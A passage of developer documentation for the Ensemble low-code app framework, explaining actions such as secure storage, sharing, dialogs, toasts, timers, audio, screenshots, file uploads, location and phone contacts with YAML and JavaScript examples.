console.log("Audio Played"); - - - Button: - label: Play Audio 2 - onTap: - playAudio: - id: My Audio - source: audio.mp3 - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Pause Audio - onTap: - pauseAudio: - id: My Audio - - - Button: - label: Stop Audio - onTap: - stopAudio: - id: My Audio - - - Button: - label: Resume Audio - onTap: - resumeAudio: - id: My Audio - - - Button: - label: Seek Audio at 4 second - onTap: - seekAudio: - id: My Audio - position: 20 # in seconds -``` - ---- - -# getSecureStorage - -The `getSecureStorage` action retrieves previously stored encrypted data from the device's secure storage, decrypting it for use within your application while maintaining security of sensitive information. - -## Properties - -| Property | Type | Description | -| :--------- | :----- | :--------------------------------------------------------------------------------------------------------- | -| key | string | The key to retrieve the value from | -| onComplete | action | Execute an Action when the data has been successfully retrieved. The value is available under 'event.data' | -| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | - -## Example - -```yaml -Button: - label: Retrieve Secure Data - onTap: - getSecureStorage: - key: userToken - onComplete: - executeCode: - body: | - //@code - console.log("Retrieved token: " + event.data); - // Use the token for an API call - apiHeaders.value = { "Authorization": "Bearer " + event.data }; - onError: - showToast: - message: ${event.error} - options: - type: error -``` - -## JavaScript Usage - -When used in JavaScript, this action returns the value directly, making it useful in code blocks: - -```javascript -// Retrieve a stored value directly -const userToken = ensemble.getSecureStorage("userToken"); -console.log("Token: " + userToken); - -// Use the retrieved value in an API call -ensemble.invokeAPI({ - name: "fetchUserData", - inputs: {}, - headers: { - Authorization: "Bearer " + ensemble.getSecureStorage("userToken"), - }, -}); -``` - -## Notes - -- This action requires an encryption key to be set in your secrets configuration. -- The retrieved data is automatically decrypted and converted back to its original data type (string, number, boolean, or object). -- If no data exists for the given key, `null` will be returned. -- Data stored using [setSecureStorage](#setsecurestorage) can be retrieved with this action. -- The value is available in the `onComplete` action under `event.data` when used in YAML. -- When used in JavaScript, the value is returned directly from the function call. - ---- - -# setSecureStorage - -The `setSecureStorage` action securely stores sensitive information in an encrypted format on the device, ensuring that sensitive data like tokens, user credentials, or personal information remains protected from unauthorized access. - -## Properties - -| Property | Type | Description | -| :--------- | :----- | :---------------------------------------------------------------------------------------- | -| key | string | The key to store the value under | -| value | any | The value to store securely. Can be a string, number, boolean, or complex object | -| onComplete | action | Execute an Action when the data has been successfully stored | -| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | - -## Example - -```yaml -Button: - label: Save Secure Data - onTap: - setSecureStorage: - key: userToken - value: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiaWF0IjoxNTE2MjM5MDIyfQ - onComplete: - showToast: - message: Token stored securely - options: - type: success - onError: - showToast: - message: ${event.error} - options: - type: error -``` - -## JavaScript Usage - -You can also use this action in JavaScript: - -```javascript -// Store a simple string value -ensemble.setSecureStorage({ - key: "userToken", - value: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", -}); - -// Store a complex object -ensemble.setSecureStorage({ - key: "userProfile", - value: { - id: 123, - name: "John Doe", - isActive: true, - permissions: ["read", "write"], - }, -}); -``` - -## Notes - -- This action requires an encryption key to be set in your secrets configuration. -- The value can be any type of data - strings, numbers, booleans, or complex objects. -- All data is encrypted before storage using AES encryption. -- To retrieve the value later, use the [getSecureStorage](#getsecurestorage) action. -- To remove the value, use the [clearSecureStorage](#clearsecurestorage) action. - ---- - -# clearSecureStorage - -The `clearSecureStorage` action removes previously stored encrypted data from the device's secure storage, allowing you to clean up sensitive information when it's no longer needed, enhancing security by minimizing data exposure. - -## Properties - -| Property | Type | Description | -| :--------- | :----- | :---------------------------------------------------------------------------------------- | -| key | string | The key to remove from secure storage | -| onComplete | action | Execute an Action when the data has been successfully removed | -| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | - -## Example - -```yaml -Button: - label: Clear Secure Data - onTap: - clearSecureStorage: - key: userToken - onComplete: - showToast: - message: Secure data removed successfully - options: - type: success - onError: - showToast: - message: ${event.error} - options: - type: error -``` - -## JavaScript Usage - -You can also use this action in JavaScript: - -```javascript -// Clear a stored secure value -ensemble.clearSecureStorage("userToken"); - -// With error handling -try { - ensemble.clearSecureStorage("userToken"); - console.log("Token removed successfully"); -} catch (error) { - console.error("Failed to clear token: " + error); -} -``` - -## Notes - -- This action requires an encryption key to be set in your secrets configuration. -- This action completely removes the specified key and its associated value from secure storage. -- If the key doesn't exist, the action completes successfully without any error. -- Use this action for cleanup when sensitive data is no longer needed (e.g., after logout). -- For security best practices, always clear sensitive data when it's no longer required. -- This action works with data stored using [setSecureStorage](#setsecurestorage). - ---- - -# Share - -Using the native sharing capabilities of the device to provide users with the ability to share text and files. - -### Properties - -| Property | Type | Description | -| :--------- | :----- | :----------------------------------------------------------------------------------------- | -| title | string | Optional title (e.g. email's title) | -| text | string | Text and/or URL to share | -| files | string | Binded files from sources like camera or picker. e.g ${filePicker.files}, ${camerId.files} | - -**Example** - -The share action is triggered when the "Open Share Sheet" button is tapped. It typically opens the native share sheet on the device, allowing users to share content. In this case, it shares a title ("EnsembleUI") and a URL ("https://ensembleui.com/"). - -```yaml - - Button: - label: Open Share Sheet - onTap: - share: - title: EnsembleUI - text: https://ensembleui.com/ - - Text: - text: Works only on Native iOS and Android -``` -**Share Sheet Screenshot** -
- Output Screenshot -

Clicking the "Open Share Sheet" will open share sheet to share the provided text and title

-
- -Here's the example of how you can share files using `share` action -```yaml -- Button: - label: Share Files - onTap: - pickFiles: - id: filePicker - source: files - onComplete: - share: - files: ${filePicker.files} - text: I selected this file -``` - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/Dnv8CceAHCHlEpS61DEE) - ---- - -# showBottomModal - -The `showBottomModal` action enables the display of content on a modal that slides from the bottom of the device, providing a user experience similar to iOS Sheets. - -```yaml - - Button: - label: Show Modal Using Code - onTap: - showBottomModal: - widget: - ActionsSheet: - inputs: - action1: Action 1 - action2: Action 2 - styles: - backgroundColor: white - barrierColor: 0x22000000 - options: - enableDrag: true - enableDragHandler: true -``` - -The `showBottomModal` action is configured to call an `ActionsSheet` widget with two inputs: `action1` and `action2`. These inputs are then utilized within the `ActionsSheet` widget to customize its content. - -## Properties - -| Property | Type | Description | -|:--------------|:----------|:-------------| -| widget | [Widget](/pages/widgets/.md) | Constructs the UI of the bottom modal using widgets. | -| styles | [Styles](#styles) | Applies styles to customize the appearance of the modal. | -| options | [Options](#options) | Offers customization options for the modal behavior. | -| onDismiss | Action | Execute predefined functions or custom code on modal dismiss. | - -## Styles - -| Property | Type | Description | -|:--------------|:----------|:-------------| -| backgroundColor | string | Set the background color of the modal. | -| barrierColor | string | Sets the color of the barrier behind the modal. | - -## Options - -| Property | Type | Description | -|:--------------|:----------|:-------------| -| enableDrag | boolean | Enable the user to drag the modal up and down. | -| enableDragHandler | boolean | Determines whether the drag handler is displayed. | - ---- - -# showDialog - -showDialog action triggers the display of a modal dialog box within the app, presenting users with important information, notifications, or customizable content while pausing the main app flow, ensuring clear and focused communication with users. - -### Properties - -| Property | Type | Description | -| :-------------- | :------ | :----------------------------------------------------------------------------------------------------- | -| widget | widget | Return an inline widget or specify a custom widget's name to use in the dialog. | -| options | object | [see properties](#propertiesoptions) | -| dismissible | boolean | This property denotes whether the dialog can be dismissed by tapping outside of it. Default is `true`. | -| onDialogDismiss | action | Execute an Action when the dialog is dismissed. | - -#### properties.options - -| Property | Type | Description | -| :--------------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| minWidth | integer | | -| maxWidth | integer | | -| minHeight | integer | | -| horizontalOffset | number | Offset the dialog's position horizontally, with -1.0 for the screen's left and 1.0 for the screen's right. (default is 0 for centering horizontally) minimum `-1.0` and maximum `1.0` | -| verticalOffset | number | Offset the dialog's position vertically, with -1.0 for the screen's top and 1.0 for the screen's bottom. (default is 0 for centering vertically) minimum `-1.0` and maximum `1.0` | -| style | string | Render the dialog with a default style. You can also specify 'none' and control your own styles in your widget. `default` `none` | - -**Example** - -Here we are gonna see how we can - - - -```yaml -View: - header: - title: Dialog - onLoad: - showDialog: - widget: MyStartingDialog - - body: - Column: - styles: { margin: 10, gap: 5 } - children: - # use inline widget - - Text: - text: Your dialog can also be an inline widget - - Button: - label: Show Dialog - onTap: - showDialog: - widget: - Text: - text: This dialog declares the widget inline and uses the default style. - - - Spacer: - styles: - size: 20 - - # use custom styling - - Text: - text: You can customize the dialog style - - Button: - label: Show Custom Dialog - onTap: - showDialog: - widget: MyCustomDialog - options: - # no default style - zero margin/padding, no background color - style: none - # move it up half way between the top and the center of the screen - verticalOffset: -0.5 - -# Custom Widget -MyStartingDialog: - body: - Column: - styles: - gap: 10 - children: - - Text: - text: Welcome to Ensemble - styles: - fontSize: 16 - fontWeight: bold - - Text: - text: This dialog pops up when the user first visits the page. - - Button: - label: Close dialog - onTap: closeAllDialogs - -MyCustomDialog: - body: - Column: - styles: - gap: 10 - backgroundColor: 0xffD7BFA8 - borderRadius: 10 - margin: 20 - padding: 20 - children: - - Text: - text: |- - This dialog set its own margin/padding and background color. - - It also offset the dialog position vertically. -``` - -Try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HRIajN2i8bDDVTL32j8m?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - - -**Example with inputs** - -We can also make use of inputs property for `showDialog` action to pass any input parameters to be used with dialog. Lets look at the previous example but this time with some input values. - -```yaml -View: - header: - title: Dialog - onLoad: - showDialog: - widget: MyStartingDialog - body: - Column: - styles: { margin: 10, gap: 5 } - children: - - Text: - text: You can customize the dialog style and provide inputs as well - - Button: - label: Show Custom Dialog - onTap: - showDialog: - widget: - MyCustomDialog: - inputs: - name: Peter - options: - # no default style - zero margin/padding, no background color - style: none - # move it up half way between the top and the center of the screen - verticalOffset: -0.5 - - onDialogDismiss: | - //@code - console.log("dialog dismissed"); - -MyCustomDialog: - inputs: - - name - body: - Column: - styles: - gap: 10 - backgroundColor: 0xffD7BFA8 - borderRadius: 10 - margin: 20 - padding: 20 - children: - - Text: - text: |- - Hi ${name} - This dialog set its own margin/padding and background color. - - It also offset the dialog position vertically. -``` - -**Explanation** - -- In the code for showDialog we are passing an input `name` with value `Peter` which can be seen clearly in the output. - -**Example with Controlled dismissible property** - -We can use `dismissble` property to control whether the dialog can be dismissble while tapping outside of it or not. If `dismissble` is `false`, dialog will not dismiss on tapping outside of it and vice verca. Default `dismissble`state of dialog is true. If you don't specify the property then the dialog will be dismissble. - -```yaml -View: - header: - title: Dialog - body: - Column: - styles: - padding: 24 - gap: 16 - children: - - Button: - label: Show undismissible dialog - onTap: - showDialog: - dismissible: false - body: - Text: - text: This is undismissible dialog - - Button: - label: Show Undismissble dialog (Custom dismiss implementation ) - onTap: - showDialog: - dismissible: false - body: - Column: - children: - - Text: - text: This is undismissible dialog - - Button: - label: Dismiss - onTap: - dismissDialog: -``` - ---- - -# showNotification - -showNotification action triggers the display of local notifications within the app, notifying users of important events or information even when the app is in the background or closed, enhancing user engagement and ensuring timely communication with users. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :-------------------- | -| title | string | Title of notification | -| body | string | Body of notification | - -**Example** - -You can refer [here](#requestnotificationaccess) for example related to notification. Can also refer complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/zbIn4f6tD3yQkC1MJRj1?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true). - ---- - -# showToast - -The ShowToast enables the display of informative toast messages, providing temporary and non-intrusive notifications or alerts within your application for important updates or messages. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/LBertkIs2inDfUn87NrI) - -## Properties - -| Property | Type | Description | -| :-------- | :----- | :----------------------------- | -| showToast | object | Showing a toast message | -| options | object | Select a built-in toast style. | -| styles | object | Toast's styles | - -### showToast - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------------------------------------------- | -| message | string | The toast message. Either this message or a widget must be provided. | -| widget | object | The custom widget to show as the Toast's body. Either this widget or a toast message must be provided. | -| options | object | Select a built-in toast style. | -| styles | object | Toast's styles | - -### options - -| Property | Type | Description | -| :---------- | :------ | :------------------------------------------------------------------------------------------------------------------------ | -| type | string | Select a built-in toast style. One of the following - 'success', 'error', 'warning', 'info' | -| dismissible | boolean | Whether to show a dismiss button (default is True) | -| alignment | string | Toast's position. Can be one of: `top`, `topLeft`, `topRight`, `center`, `centerLeft`, `centerRight`, `bottom`, `bottomLeft`, `bottomRight` | -| duration | integer | The number of seconds before the toast is dismissed. Minimum value is 1. | - -### styles - -| Property | Type | Description | -| :-------------- | :--------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------- | -| backgroundColor | | Toast's background color starting with '0xFF' for full opacity e.g 0xFFCCCCCC | -| shadowColor | string or number | Box shadow color starting with '0xFF' for full opacity. | -| shadowRadius | integer | Toast's shadow radius. Minimum value is 0. | -| shadowOffset | array | Toast's shadow offset. | -| borderRadius | | Toast's border radius. | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| size | integer | Specifies the width (progress bar) or the diameter (circular progress indicator) | -| thickness | integer | Specifies the thickness of the indicator (for progress bar this is the height) | -| color | | Progress indicator color. | - ---- - -# startTimer - -Use the `onTimer` action to start a timer. Then use the `onTimer` and/or `onTimerComplete` properties to execute other actions once the timer finishes. - -### Properties - -| Property | Type | Description | -| :-------------- | :----- | :----------------------------------------------------------------- | -| id | string | Give this timer an ID so it can be cancelled by a stopTimer action | -| onTimer | action | Execute an Action every time the timer triggers | -| onTimerComplete | action | Execute an Action when the timer has completed and will terminate | -| options | object | [see properties](#propertiesoptions) | - -#### properties.options - -| Property | Type | Description | -| :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | :------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| isGlobal | boolean | Marking this timer as global will ensure the timer, if repeating indefinitely, will continue to run even if the user navigates away from the screen, until explicitly stopped by the stopTimer action. Note that there can only ever be one global timer. Creating a new global timer will automatically cancel the previous global timer. | -| In the example below, we start a time that calls an API after 5 seconds, and repeat this action 3 times. That means after 15 seconds, the `onTimerComplete` action is executed. | -| startAfter | integer | Delay the timer's start by this number of seconds. If not specified and repeat is true, repeatInterval will be used. If none is specified, there will be no initial delay | -| repeat | boolean | Whether the time should repeat and trigger at every repeatInterval seconds. This Timer will run continuously unless a maxNumberOfTimes is specified | -| repeatInterval | integral | Trigger the timer periodically at this repeatInterval (in seconds) | -| maxNumberOfTimes | integer | Set the max number of times the timer will triggers, if repeat is true | - -**Usage Examples** - -In the example below, we start a time that calls an API after 5 seconds, and repeat this action 3 times. That means after 15 seconds, the `onTimerComplete` action is executed. - - - -```yaml -View: - header: - title: "Action: startTimer" - styles: - scrollableView: true - - body: - Column: - styles: - gap: 16 - padding: 24 - children: - - Button: - label: Start Timer - onTap: - startTimer: - onTimer: - invokeAPI: - name: getNYCTime - options: - repeat: true - maxNumberOfTimes: 3 - repeatInterval: 5 - onTimerComplete: - executeCode: - body: | - //@code - timerComplete.text = 'Timer completed'; - - - Text: - text: | - API response: - ${getNYCTime.body.datetime} - - - Text: - id: timerComplete - -API: - getNYCTime: - authentication: none - method: GET - uri: https://worldtimeapi.org/api/timezone/America/New_York -``` - - - -To learn more about how to use `startTimer` action, check out the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/86fba216-4f96-408b-abff-d3ddcfbdcf49) example. - ---- - -# stopAudio - -The stopAudio action allows users to stop a already playing audio file - -### Properties - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------- | -| id | string | A unique identity that's required to refer to the already playing audio. Should be same as that of passed in playAudio | - -**Example** - -```yaml -View: - header: - title: Audio Player - styles: - scrollableView: true - - body: - Column: - styles: - gap: 16 - padding: 24 - children: - - Button: - label: Play Audio - onTap: - playAudio: - id: My Audio - source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Play Audio 2 - onTap: - playAudio: - id: My Audio - source: audio.mp3 - volume: 1 # 0 to 1 - balance: 0 # -1 to 1 - position: 2 # in seconds - onComplete: - executeCode: - body: | - console.log("Audio Played"); - - - Button: - label: Pause Audio - onTap: - pauseAudio: - id: My Audio - - - Button: - label: Stop Audio - onTap: - stopAudio: - id: My Audio - - - Button: - label: Resume Audio - onTap: - resumeAudio: - id: My Audio - - - Button: - label: Seek Audio at 4 second - onTap: - seekAudio: - id: My Audio - position: 20 # in seconds -``` - ---- - -# stopTimer - -stopTimer action allows developers to halt or pause a running timer within the app, providing control over time-sensitive processes and facilitating efficient handling of time-related events, enhancing user interactions and application behavior. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :------------------------------------------- | -| id | string | Stop the timer with this ID if it is running | - -**Example** - - - -```yaml -Joke: - body: - Column: - styles: { gap: 10 } - children: - - Text: - text: Click the button to show a Chuck Norris joke every 10 seconds. Click Stop when you have enough. - - Row: - styles: { gap: 10 } - children: - - Button: - label: Tell me a joke - onTap: - startTimer: - id: jokeTimer - options: - isGlobal: true - repeat: true - repeatInterval: 10 - startAfter: 0 - onTimer: - invokeAPI: - name: jokeAPI - onResponse: |- - //@code - output.text = response.body.value; - - - Button: - label: Stop - onTap: - stopTimer: - id: jokeTimer - - Text: - id: output -``` - - - -see the complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/86fba216-4f96-408b-abff-d3ddcfbdcf49?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) to understand usage - ---- - -# takeScreenshot - -takeScreenshot action allows you to capture a screenshot of read-only widgets using its widgetId. The screenshot is saved to the gallery on mobile platforms or downloaded directly on the web, while also providing the image bytes for further use. It's an efficient solution for exporting visual content in high quality. -### Properties - -| Property | Type | Description | -| :--------- | :----- | :----------------------------------------------------------------------------------------- | -| widgetId | string | The ID of the target widget to be captured as a screenshot. | -| onSuccess | action | Action to be excecuted on successful screenshot capture. | -| onError | action | Action to be excecuted on error during screenshot capture.| - -### Event Data - -When the `onSuccess` action is executed, the following data is available under `event.data`: - -- **imageBytes**: Provides bytes of the screenshot. -- **size**: Provides total size of image in bytes, e.g. if screenshot has size of 1KB then `size` will return 1024. -- **dimensions**: Provides dimentions of the image as `dimensions.width` and `dimensions.height` - -When the `onError` action is executed, the following data is available under `event.data`: - -- **error**: Error message describing the issue. -- - -**Example** - -```yaml -View: - styles: - scrollableView: true - header: - title: "Action: takeScreenshot" - - Column: - styles: - gap: 16 - padding: 24 - children: - - Column: - id: section1 - styles: - gap: 16 - children: - - Button: - label: Test Button 1 - - Button: - label: Test Button 2 - # Take Screenshot using `takeScreenshot` action - - Button: - label: Take Screenshot - onTap: - takeScreenshot: - widgetId: ${section1} - onSuccess: - executeCode: - body: | - console.log(event.data.imageBytes) - console.log(event.data.size) - console.log(event.data.dimensions) - - # Take Screenshot using ensemble object in JavaScript `ensemble.takeScreenshot` - - Button: - label: Take Screenshot with JS - onTap: - executeCode: - body: | - ensemble.takeScreenshot({widgetId: section1}) -``` - - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/C3zALhZvHQHyFISY9Yvo) - ---- - -# uploadFiles - -uploadFiles action allows users to select and upload files from their device to the app, enabling easy data transfer and content sharing, supporting various file formats, and enhancing the app's versatility and user engagement. - -### Properties - -| Property | Type | Description | -| :--------- | :----- | :----------------------------------------------------------------------------------------- | -| id | string | Give the uploadApi an ID, allows you to bind to its result. e.g. ${apiId.body...} | -| uploadApi | string | Enter the name of your defined API | -| onComplete | action | Execute another Action upon successful upload of files | -| onError | action | Execute an Action when uploader fails with error(s) | -| inputs | array | Define the list of input names that upload API accepts | -| fieldName | string | Field name that your server is expecting (default files) | -| files | string | Binded files from sources like camera or picker. e.g ${filePicker.files}, ${camerId.files} | -| options | object | [see properties](#propertiesoptions) | - -#### properties.option - -| Property | Type | Description | -| :--------------------- | :------ | :---------------------------------------------------------------------------------------------------------------------- | -| maxFileSize | integer | File size that is allowed (default 100 mb), If multiple is allow then sum of all files | -| overMaxFileSizeMessage | string | Error message to show when selected files size is above maxFileSize. | -| backgroundTask | boolean | If set true, uploading will be done in background. | -| showNotification | boolean | If set true, progress will be show in notification bar. | -| networkType | object | An enumeration of network types. `connected` `metered` `not_required` `not_roaming` `unmetered` `temporarily_unmetered` | - -**Example** - - - -```yaml -View: - # Optional - style the screen - styles: - scrollableView: true - - # Optional - set the header for the screen - header: - title: "Action: uploadFiles" - - # Specify the body of the screen - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: | - Use the `uploadFiles` action upload files to specify `uploadApi`. - - Then use the `onComplete` properties to execute other actions when upload is successful. - - - Button: - label: Pick Files - onTap: - pickFiles: - id: picker - - - Button: - label: Upload Picked files - onTap: - executeCode: - body: | - //@code - loading.visible = true; - - onComplete: - uploadFiles: - id: fileUploader - files: ${picker.files} - uploadApi: fileUploadApi - inputs: - url: https://en09cdal5asztm.x.pipedream.net - onComplete: | - //@code - loading.visible = false; - onError: | - //@code - - loading.visible = false; - maxFileSize: 100 - overMaxFileSizeMessage: Please select files less than 100kb - - - Markdown: - text: ${fileUploader.body} - - - Progress: - display: circular - id: loading - visible: false - - - Divider - - - Markdown: - text: | - Chain multiple file actions to pick files and upload them in one go - - Using `pickFiles` to pick file based on platform picker - - Using `uploadFiles` to upload selected files from file picker - - - Button: - label: Pick & Upload - onTap: - pickFiles: - id: filePicker - onComplete: - uploadFiles: - files: ${filePicker.files} - uploadApi: fileUploadApi - inputs: - url: https://en09cdal5asztm.x.pipedream.net - onComplete: | - //@code - ensemble.debug('File uploaded'); - - - Divider: - - - Markdown: - text: | - `pickFiles` also comes with option such as: - - - `allowMultiple` : To allow muliple file selection from gallery picker default (false) - - `allowCompression` : It will allow media to apply the default OS compression (default True) - - `allowedExtensions` : To filter file picking based on extensions like jpg, png, pdf... - - `uploadFiles` also comes with option such as: - - - `files` : Pass the files that needs to upload e.g ${filePicker.files} - - - `fieldName` : Field name that your server is expecting. (default files). - - - `maxFileSize`: File size that is allowed in kb (default 100 mb), If multiple is allow then sum of all files - - `overMaxFileSizeMessage`: Error message to show when selected files size is above maxFileSize. - - - Row: - styles: { mainAxis: spaceBetween, crossAxis: center } - children: - - Button: - label: Multiple Images - onTap: - pickFiles: - id: images - allowMultiple: true - allowCompression: false - allowedExtensions: - - jpg - - png - - - Text: - text: ${images.files.length} - - Button: - label: Upload Multiple images - onTap: - uploadFiles: - id: imageUploader - uploadApi: fileUploadApi - files: ${images.files} - fieldName: files - inputs: - url: https://en09cdal5asztm.x.pipedream.net - maxFileSize: 100 # in kb - overMaxFileSizeMessage: Please select files less than 100kb - - - Markdown: - text: ${imageUploader.body} - - Divider - - - Markdown: - text: | - ### Background file upload - - Pick and Upload files in background. - - In unmetered connection (wifi/lan) - - Also show notification - - *Not supported on web / studio. - - - Button: - label: Background upload - onTap: - pickFiles: - id: bgFilePicker - onComplete: - uploadFiles: - uploadApi: fileUploadApi - files: ${bgFilePicker.files} - inputs: - url: https://en09cdal5asztm.x.pipedream.net - id: bgUploader - options: - backgroundTask: true - showNotification: true - networkType: unmetered - - - Divider: - - - Markdown: - text: | - _Side Note: If you are using default uploadURL it's using RequestBin_ - - _RequestBin has maxFileSize of __100 kb__ above it will fail._ - - _You can see you API request [here](https://requestbin.com/r/en09cdal5asztm/2Lzx3lZ071EFF9dFKZCXJTnkJHS)_ - - - Divider: - -API: - fileUploadApi: - inputs: - - url - uri: ${url} - method: POST -``` - - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/mvFbwP5K5yvAqTlncTga?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# Formatter - -Ensemble provide convenience formatter utilities for handling date/time and common tasks. - -Access these formatters with prefix `ensemble.formatter.*`. - -### prettyDate() -Accepts an ISO date-time string and output the most common user-friendly format based on the user's detected locale. -- `ISO string`: the string to convert to a user-friendly date string. - -```yaml -Text: - # output "Dec 2, 2022" or "2 Dec 2022" depending on detected locale. - text: ${ensemble.formatter.prettyDate("2022-12-02T14:20:05-0700")} - -Button: - onTap: |- - // same output in Javascript. - console.log(ensemble.formatter.prettyDate("2022-12-02")); -``` -For a more complete Date operations, see [Date](../javascript-reference/Date.md) - -### prettyTime() -Accepts an ISO date-time string and outputs the most common user-friendly time format based on the user's detected locale. -- ISO string: The string to convert to a user-friendly time string. - -```yaml -Text: - # output "2:20 PM" or "14:20" depending on detected locale. - text: ${ensemble.formatter.prettyTime("2022-12-02T14:20:05-0700")} -``` - -### prettyDateTime() -Accepts an ISO date-time string and outputs the most common user-friendly date and time format based on the user's detected locale. -- ISO string: The string to convert to a user-friendly date and time string. - -```yaml -Text: - # output "Dec 2, 2022, 2:20 PM" or "2 Dec 2022, 14:20" depending on detected locale. - text: ${ensemble.formatter.prettyDateTime("2022-12-02T14:20:05-0700")} -``` - -### customDateTime() -Accepts an ISO date-time string and a pattern that, then outputs the date and time formatted according to the provided pattern (user locale will be ignored). -- ISO string: The string to convert to a formatted date and time string. -- Pattern: The pattern to use for formatting the date and time string. - -```yaml -Text: - # output 2022-12-02 14:20" for all locales - text: ${ensemble.formatter.customDateTime('2022-12-02T14:20:05-0700', 'yyyy-MM-dd HH:mm')} -``` - ---- - - -# Device - -Ensemble provides convenient access to device information and capabilities. This includes device information, such as the device model, operating system, and screen size. - -Access these properties/methods with the prefix `ensemble.device.*`. - ---- - -# checkPermission - -`checkPermission` is designed to check the permission status. It includes components for checking notification, location, contacts, and camera permissions. - -**Inputs** -`type`: applicable types are `notification`, `location`, `contacts`, and `camera`. - -**Callbacks** -1. `onAuthorized`: Executes when the components permission to authorized. Updates the text of the component to "Authorized." - -2. `onDenied`: Executes when the components permission to denied. Updates the text of the component to "Denied." - -3. `onNotDetermined`: Executes when the components permission to not determined. Updates the text of the component to "Not Determined." - -```yaml -- Button: - label: Notification Permission - onTap: - checkPermission: - type: notification - onAuthorized: | - //@code - notificationStatus.text = "Authorized"; - console.log("onAuthorized called"); - onDenied: | - //@code - notificationStatus.text = "Denied" - console.log("onDenied called"); - onNotDetermined: | - //@code - notificationStatus.text = "Not Determined" - console.log("onNotDetermined called"); -``` -When a user taps the "Notification Permission" button, the app checks the notification permission status. Depending on the status, one of the specified callbacks (onAuthorized, onDenied, or onNotDetermined) is executed. - ---- - -# getLocation - -getLocation action enables users to retrieve their device's current location, facilitating location-based functionalities within the app, such as mapping, navigation, or personalized content delivery, enhancing user experience and context-aware interactions. It requests user's permission to get his/her current location - -### Module (ensemble_location) -Enable Location service in Ensemble code - -By default, Ensemble does not include the location module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. - -Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. - -* Search for this line and uncomment it: -``` -// import 'package:ensemble_location/location_manager.dart'; -``` - -* Search for this line and uncomment it: -``` - // GetIt.I.registerSingleton(LocationManagerImpl()); -``` - -* Search for this line and set it to true -``` - static const useLocation = false; -``` - ---- - -### Properties - -| Property | Type | Description | -| :----------------- | :----- | :---------------------------------------------------------------------------------------------------- | -| options | object | [see properties](#propertiesoptions) | -| onLocationReceived | action | Callback Action once we get the device location | -| onError | action | Callback Action if we are unable to get the device location. Reason is available under 'reason' field | - -#### properties.options - -| Property | Type | Description | -| :---------------------- | :------ | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| recurring | boolean | Whether to continuously get the device location on this screen. Note that a screen can only have one recurring location listener. Adding multiple recurring location listeners will cancel the previous one. | -| recurringDistanceFilter | integer | If recurring, the minimum distance (in meters) the device has moved before new location is returned. (default: 1000 meters, minimum: 50 meters) | - -**Example** - - - -```yaml -View: - # Optional - style the screen - styles: - scrollableView: true - - # Optional - set the header for the screen - header: - title: "Action: getLocation" - - # Specify the body of the screen - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: Get location via Action - styles: - font: subtitle - - Markdown: - text: Use `getLocation` Action to get the location, with the option to continuously get location change updates. - - Button: - label: Listen for location changes - onTap: - getLocation: - options: - recurring: true # while on this page, location changes will continue to execute onLocationReceived - recurringDistanceFilter: 50 # only dispatch if the new location is more than 50 meters away from the previous location - onLocationReceived: |- - //@code - status.text = 'Lat: ' + latitude + ', Lng: ' + longitude; - onError: |- - //@code - status.text = reason; - - Text: - id: status -``` - - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/uH9b2ZnmSS3HT7BsECu4?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# getPhoneContacts - -The `PhoneContacts` view is designed to retrieve and display phone contacts from Android and iOS physical devices or simulators. It includes a warning note, a button to fetch contacts, and a list view to display individual contact details. - -```yaml -- Button: - label: Get Phone Contacts - onTap: - getPhoneContacts: - id: phoneContactId - onSuccess: | - // ***code - console.log("Phone Number Fetched Successfully"); - ensemble.storage.set('contacts', event.data['contacts']); - - onError: | - // ***code - console.log("Something went wrong!"); -``` -The `onSuccess` and `onError` callbacks for the "Get Phone Contacts" button. In the success callback (onSuccess), the retrieved contacts 